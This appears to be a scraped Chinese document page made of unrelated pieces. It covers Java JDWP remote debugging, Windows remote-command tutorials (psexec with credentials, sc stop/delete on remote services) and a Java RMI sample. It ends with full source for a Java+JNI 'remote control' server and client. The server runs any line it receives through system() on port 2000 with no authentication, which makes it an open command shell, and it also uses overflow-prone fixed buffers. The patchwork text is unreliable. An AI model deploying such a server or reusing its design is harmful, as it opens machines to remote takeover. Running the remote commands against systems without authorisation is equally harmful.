主动连接调试demo我这⾥已经有个数据路由的项⽬,我以这个项⽬为例;主动连接需要先启动服务端,后启动客户端1.把项⽬打成jar包选中项⽬右键----->Export--->Runnable JAR file,点击Next2.选择程序⼊⼝和项⽬路径,点击finish完成3.把导出的jar包放到指定盘符,我这⾥拷贝到了D盘,打开cmd窗⼝输⼊命令:jdk1.7版本之前的命令java -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=y -jar xxx.jar1.7版本之后的命令1) java -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=y -jar xxx.jar2) java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar test.jar4.在eclipse中配置远程调试,右键项⽬----->Debug As----->Debug Configurations第⼀次进来时,需要New⼀个Dcat进⼊调试模式被动连接调试demo我这⾥还是以Dcat项⽬为例;被动调试时eclipse作为服务端,运⾏的jar包作为客户端,所以先启动eclipse,再运⾏jar包;1.在eclipse中配置远程调试,右键项⽬----->Debug As----->Debug Configurations2.打开cmd窗⼝,输⼊命令1) java -agentlib:jdwp=transport=dt_socket,address=172.18.11.216:8000,suspend=n -jar Dcat.jar 2) java -Xdebug -Xrunjdwp:transport=dt_socket,address=127.0.0.1:8000,suspend=y -jar Dcat.jar3.进⼊调试模式命令参数详解java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar test.jar-Xdebug:通知JVM⼯作在debug模式下;-Xrunjdwp:通知JVM使⽤(java debug wire protocol)来运⾏调试环境;transport:监听Socket端⼝连接⽅式(也可以dt_shmem共享内存⽅式,但限于windows机器,并且服务提供端和调试端只能位于同⼀台机);server:server=y表⽰当前是调试服务端,=n表⽰当前是调试客户端;suspend:suspend=n表⽰启动时不中断,⼀般⽤于设置主动连接;suspend=y表⽰启动时就进⼊调试模式,⼀般⽤于被动连接;说明:不管是主动连接还是被动连接,我这⾥都尝试了设置suspend=y或suspend=n,最后的结果好像都⼀样,具体原因我也不清楚。

如何在Windows CMD命令中执行远程执行命令

如何在Windows CMD命令中执行远程执行命令

如何在Windows CMD命令中执行远程执行命令在Windows CMD命令中执行远程执行命令是一项非常有用的技能。

它允许我们通过本地计算机远程控制和管理远程计算机,从而提高工作效率。

本文将介绍如何在Windows CMD命令中执行远程执行命令的方法和步骤。

首先,我们需要确保本地计算机和远程计算机之间建立了网络连接。

这可以通过局域网或互联网实现。

确保远程计算机的IP地址是可访问的,并且具有管理员权限。

在CMD命令中执行远程执行命令需要管理员权限。

接下来,我们需要使用Windows CMD命令中的“ping”命令来测试与远程计算机的连接。

在CMD命令提示符下输入“ping 远程计算机IP地址”,例如“ping192.168.0.1”。

如果成功收到回复,说明连接正常。

如果没有收到回复,可能是网络连接出现问题,需要检查网络设置。

一旦我们与远程计算机建立了连接,就可以使用Windows CMD命令中的“ssh”命令进行远程执行命令。

SSH是一种安全的远程登录协议,可以在不安全的网络上安全地执行命令。

然而,Windows CMD命令默认不支持SSH协议,我们需要安装第三方软件来实现。

一个常用的第三方软件是PuTTY。

PuTTY是一个免费的SSH和Telnet客户端,可以在Windows上运行。

我们可以从官方网站下载并安装PuTTY。

安装完成后,打开PuTTY并输入远程计算机的IP地址和端口号,选择SSH连接类型,然后点击“Open”按钮。

在打开的PuTTY窗口中,输入远程计算机的用户名和密码进行登录。

登录成功后,我们可以在PuTTY窗口中执行各种远程命令。

例如,我们可以使用“cd”命令切换到指定的目录,使用“dir”命令列出目录中的文件和文件夹,使用“mkdir”命令创建新的文件夹,使用“del”命令删除文件等等。

除了PuTTY,还有其他一些第三方软件可以实现在Windows CMD命令中执行远程执行命令,例如SecureCRT、Xshell等等。

java内调用远程接口的方法

java内调用远程接口的方法

java内调用远程接口的方法Java内调用远程接口的方法主要有两种方式:使用Java RMI(远程方法调用)和使用Web服务。

1. 使用Java RMI:- 在远程接口所在的项目中定义接口和实现类,并继承java.rmi.Remote接口。

- 将接口和实现类编译打包成JAR文件,并将JAR文件发布到远程服务器上。

- 在调用方项目中,使用java.rmi.Naming类的lookup()方法获取远程接口的实例。

- 通过远程接口实例调用接口中定义的方法。

示例代码:```java// 远程接口定义public interface RemoteService extends java.rmi.Remote {public String sayHello() throws java.rmi.RemoteException;}// 远程接口实现类public class RemoteServiceImpl extends java.rmi.server.UnicastRemoteObject implementsRemoteService {public RemoteServiceImpl() throws java.rmi.RemoteException {super();}public String sayHello() throws java.rmi.RemoteException {return "Hello, World!";}}// 调用方代码public class Client {public static void main(String[] args) {try {// 获取远程接口实例RemoteService remoteService = (RemoteService) java.rmi.Naming.lookup("rmi://localhost/RemoteService");// 调用远程接口方法String result = remoteService.sayHello();System.out.println(result);} catch (Exception e) {e.printStackTrace();}}}```2. 使用Web服务:- 在远程接口所在的项目中定义接口和实现类,并使用@WebService注解标记接口和实现类。

如何在Windows CMD命令中连接到远程服务

如何在Windows CMD命令中连接到远程服务

如何在Windows CMD命令中连接到远程服务在日常工作中,我们经常需要连接到远程服务来进行管理和操作。

对于Windows用户来说,CMD命令是一个强大的工具,可以帮助我们连接到远程服务并执行各种任务。

本文将介绍如何使用CMD命令连接到远程服务的方法和技巧。

一、远程桌面连接远程桌面连接是Windows系统提供的一种远程管理工具,可以通过CMD命令来进行连接。

首先,我们需要确定目标远程计算机的IP地址或主机名。

然后,打开CMD命令行窗口,输入以下命令:mstsc /v:远程计算机IP地址或主机名按下回车键后,系统会弹出远程桌面连接窗口,输入正确的用户名和密码即可连接到远程计算机。

二、Telnet连接Telnet是一种远程登录协议,可以通过CMD命令进行连接。

首先,我们需要确认目标远程计算机已开启Telnet服务。

然后,打开CMD命令行窗口,输入以下命令:telnet 远程计算机IP地址或主机名按下回车键后,系统会尝试连接到远程计算机。

如果连接成功,会显示远程计算机的登录提示符。

输入正确的用户名和密码即可登录到远程计算机。

三、SSH连接SSH是一种安全的远程登录协议,可以通过CMD命令进行连接。

首先,我们需要确认目标远程计算机已开启SSH服务。

然后,打开CMD命令行窗口,输入以下命令:ssh 用户名@远程计算机IP地址或主机名按下回车键后,系统会尝试连接到远程计算机。

如果连接成功,会显示远程计算机的登录提示符。

输入正确的密码即可登录到远程计算机。

四、使用PSEXEC工具PSEXEC是一款强大的远程执行工具,可以通过CMD命令进行连接和操作。

首先,我们需要下载并安装PSEXEC工具。

然后,打开CMD命令行窗口,输入以下命令:psexec \\远程计算机IP地址或主机名 -u 用户名 -p 密码命令其中,远程计算机IP地址或主机名是目标远程计算机的信息,用户名和密码是登录远程计算机的凭据,命令是要在远程计算机上执行的操作。

如何在Windows CMD命令中执行远程服务控制

如何在Windows CMD命令中执行远程服务控制

如何在Windows CMD命令中执行远程服务控制在Windows操作系统中,CMD命令是一种强大的工具,可以用于执行各种任务和操作。

其中之一就是执行远程服务控制,这在管理多台计算机或服务器时非常有用。

本文将介绍如何在Windows CMD命令中执行远程服务控制,帮助读者更好地管理和控制远程计算机上的服务。

首先,要在CMD命令中执行远程服务控制,我们需要使用一些特定的命令和参数。

其中,最常用的命令是"sc"命令,它可以用于启动、停止、暂停、继续、删除和查询服务。

以下是一些常用的远程服务控制命令:1. 启动服务:sc \\远程计算机名 start 服务名称2. 停止服务:sc \\远程计算机名 stop 服务名称3. 暂停服务:sc \\远程计算机名 pause 服务名称4. 继续服务:sc \\远程计算机名 continue 服务名称5. 删除服务:sc \\远程计算机名 delete 服务名称6. 查询服务状态:sc \\远程计算机名 query 服务名称在执行这些命令之前,我们需要确保远程计算机上已经启用了远程管理功能。

可以通过以下步骤来启用远程管理功能:1. 打开"控制面板",选择"系统和安全",然后点击"系统"。

2. 在"系统"窗口中,点击左侧的"远程设置"。

3. 在"远程设置"窗口中,选择"允许远程连接到此计算机"选项。

4. 可以选择"仅限于"选项,并输入允许连接的计算机名,或选择"任何版本"选项以允许任何计算机连接。

5. 点击"确定"保存设置。

一旦远程管理功能已经启用,我们就可以在CMD命令中执行远程服务控制了。

以下是一些实际应用的示例:1. 启动远程计算机上的"Print Spooler"服务:sc \\远程计算机名 start Spooler2. 停止远程计算机上的"Windows Update"服务:sc \\远程计算机名 stop wuauserv3. 查询远程计算机上的"Remote Registry"服务状态:sc \\远程计算机名 query RemoteRegistry需要注意的是,执行远程服务控制命令时,我们需要有足够的权限才能够成功执行。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

java不能调用Win_Api,所以直接用Win_Api就行不通了。

但是我们可以借助DLL 来实现。

以下就是cmdDLL的实现过程:首先,用在cmd命令提示符下执行javac Server.java (接下来它将调用cmdDLL.dll的函数 CMD)生成一个Server.class文件,接下来就是用这个Server.class文件生成Server.h文件(执行javah Server.h)。

其次,先写一个.cpp文件,在这个.cpp程序中我们将先前已经弄好的Server.h 要包含在这个cmdDLL.cpp文件中,因为Server.h文件是接下来Server.java中要调用的CMD者个函数的声明。

cmdDLL.cpp文件如下://begin#include "Server.h"#include <stdlib.h>#include <string.h>JNIEXPORT void JNICALL Java_Server_CMD (JNIEnv * env, jclass,jstring a ){const char* str = env->GetStringUTFChars(a,0);char str_1[100] = {0};strncpy(str_1,str,strlen(str)-1);char str_2[100] = " > out.txt";strcat(str_1,str_2);system(str_1);}//end执行以下命令(需要vc环境):cl/c cmdDLL.cpplink cmdDLL.obj /dll以生成一个cmdDLL.Dll文件。

cmdDLL.Dll中的void CMD(String args)这个函数的功能:(1)接受上层的一个string args 然后将其类型转换后得到一个const char* str。

const char* str = env->GetStringUTFChars(a,0);(2)由于我们需要向Client回显cmd中的内容所以这里我们就需要将回显先转移到out.txt中char str_1[100] = {0};strncpy(str_1,str,strlen(str)-1);char str_2[100] = " > out.txt";strcat(str_1,str_2);然后将数据以文本的形式存到out.txt(准备给Client回显)中。

最后就是要实现str_1这个指令了(在cmd之下),我所使用的方法是int system(const char* args)。

比如现在位置是D:\,然后str_1 = “dir > out.txt”,那么其将在Server端显示cmdDLL的DLL文件。

二:实现了Java在Server端使用cmd命令的功能,接下来要实现的就是TCP 链接了。

首先,比如Client端向Server端发送一条命令比如说dir ,那么在客户端会显示现在Server.class所在的文件夹。

图二显示其它文件夹则必须加上其绝对路径如dir E:E-book。

图三还可以是执行别的指令如shutdown,type……等待。

bug:欲对Server上的Java文件和C文件进行编译或链接必须将其放在Server.class所在的本文件夹。

程序代码://=================================================================== ===================//************服务端代码****************************************************************//=================================================================== ===================Server:/** 文件名:Server.java* 环境:Eclipse 3.2 + VS 2005* 功能:远程控制程序Client端(受控端)* 作者:lwm1986* 日期:2007.5.17* E-mail : Lauvenman@* QQ:271096597*/import java.io.*;import .*;class Server{static{System.loadLibrary("cmdDLL");//加载DLL。

}public native static void CMD(String b);public static void main(String argv[]) throws Exception{String ClientSentence;//接收Client传来的命令Server callDll = new Server();ServerSocket welcomeSocket = new ServerSocket(2000);//在Port:1033端口处等Clientwhile (true){Socket conncetionSocket = welcomeSocket.accept(); //等.......BufferedReader inFromClient = new BufferedReader(newInputStreamReader(conncetionSocket.getInputStream()));DataOutputStream outToClient = new DataOutputStream(conncetionSocket.getOutputStream());ClientSentence = inFromClient.readLine();//收到Client的命令callDll.CMD(ClientSentence + ' ');//调用dll中的函数执行命令/*打开文件统计Server回显信息的字节数*/String filename = "out.txt";FileInputStream fis = newFileInputStream(filename);int i = 0;while ((fis.read()) != -1){i++;}fis.close();if (i != 0) //当文件长不为0时{outToClient.writeBytes("YES_TEXT" + ' ');//向Client的flag发送接收信号/*将字节流读到byte[] B中*/FileInputStream fis_1 = new FileInputStream(filename);BufferedInputStream buff = newBufferedInputStream(fis_1);byte[] B = new byte[i];while ((buff.read(B, 0, i)) != -1){}String S = new String(B);//将byte[] B 中的信息复制到String S中String[] s_1 = S.split(" ");//将String B的信息按' '剪切后放到String[] s_1中/*向Client端发送回显信息*/Integer Int = s_1.length;outToClient.writeBytes(Int.toString() + ' ');for(int j = 0; j < s_1.length; j++){byte[] s_2 = (s_1[j] + " ").getBytes();outToClient.write(s_2);}} else//如果此命令无回显信息则向Client端flag发送信息告诉Client没有回显信息outToClient.writeBytes("NO_TEXT" + ' ');}}}//=================================================================== ===================//************客户端代码****************************************************************//=================================================================== ===================Client:/** 文件名:Client.java* 环境:Eclipse 3.2 + VS 2005* 功能:远程控制程序Client端(控制端)* 作者:lwm1986* 日期:2007.5.17* E-mail : Lauvenman@* QQ:271096597*/import java.io.*;import .*;class Client {public static void main(String argv[]) throws Exception {while (true) {Socket ClientSocket = new Socket("127.0.0.1", 2000);//确定Server的IP和Port,这里我是用了自己机子的IPString sentence;//向Server发送的命令BufferedReader inFromUser = new BufferedReader(new InputStreamReader(System.in));DataOutputStream OutToServer = newDataOutputStream(ClientSocket.getOutputStream());BufferedReader inFromServer = new BufferedReader(newInputStreamReader(ClientSocket.getInputStream()));System.out.print(">");sentence = inFromUser.readLine();//输入命令OutToServer.writeBytes(sentence + ' ');//发送命令String flag = "YES_TEXT";//建立一个flag用于判断是否会接收到Server发回的回显信息if (flag.equals(inFromServer.readLine())) {int cmdLineNum =Integer.parseInt(inFromServer.readLine());//确定Server发回信息的行数for (int i = 0; i < cmdLineNum; i++) {byte[] fromCMD =inFromServer.readLine().getBytes();//以字节数组的方式接收Server发回的信息String stringFromCMD = new String(fromCMD); //将信息转换为StringSystem.out.println(stringFromCMD);//在Client端输出信息}} else;ClientSocket.close();}}}。

相关文档
最新文档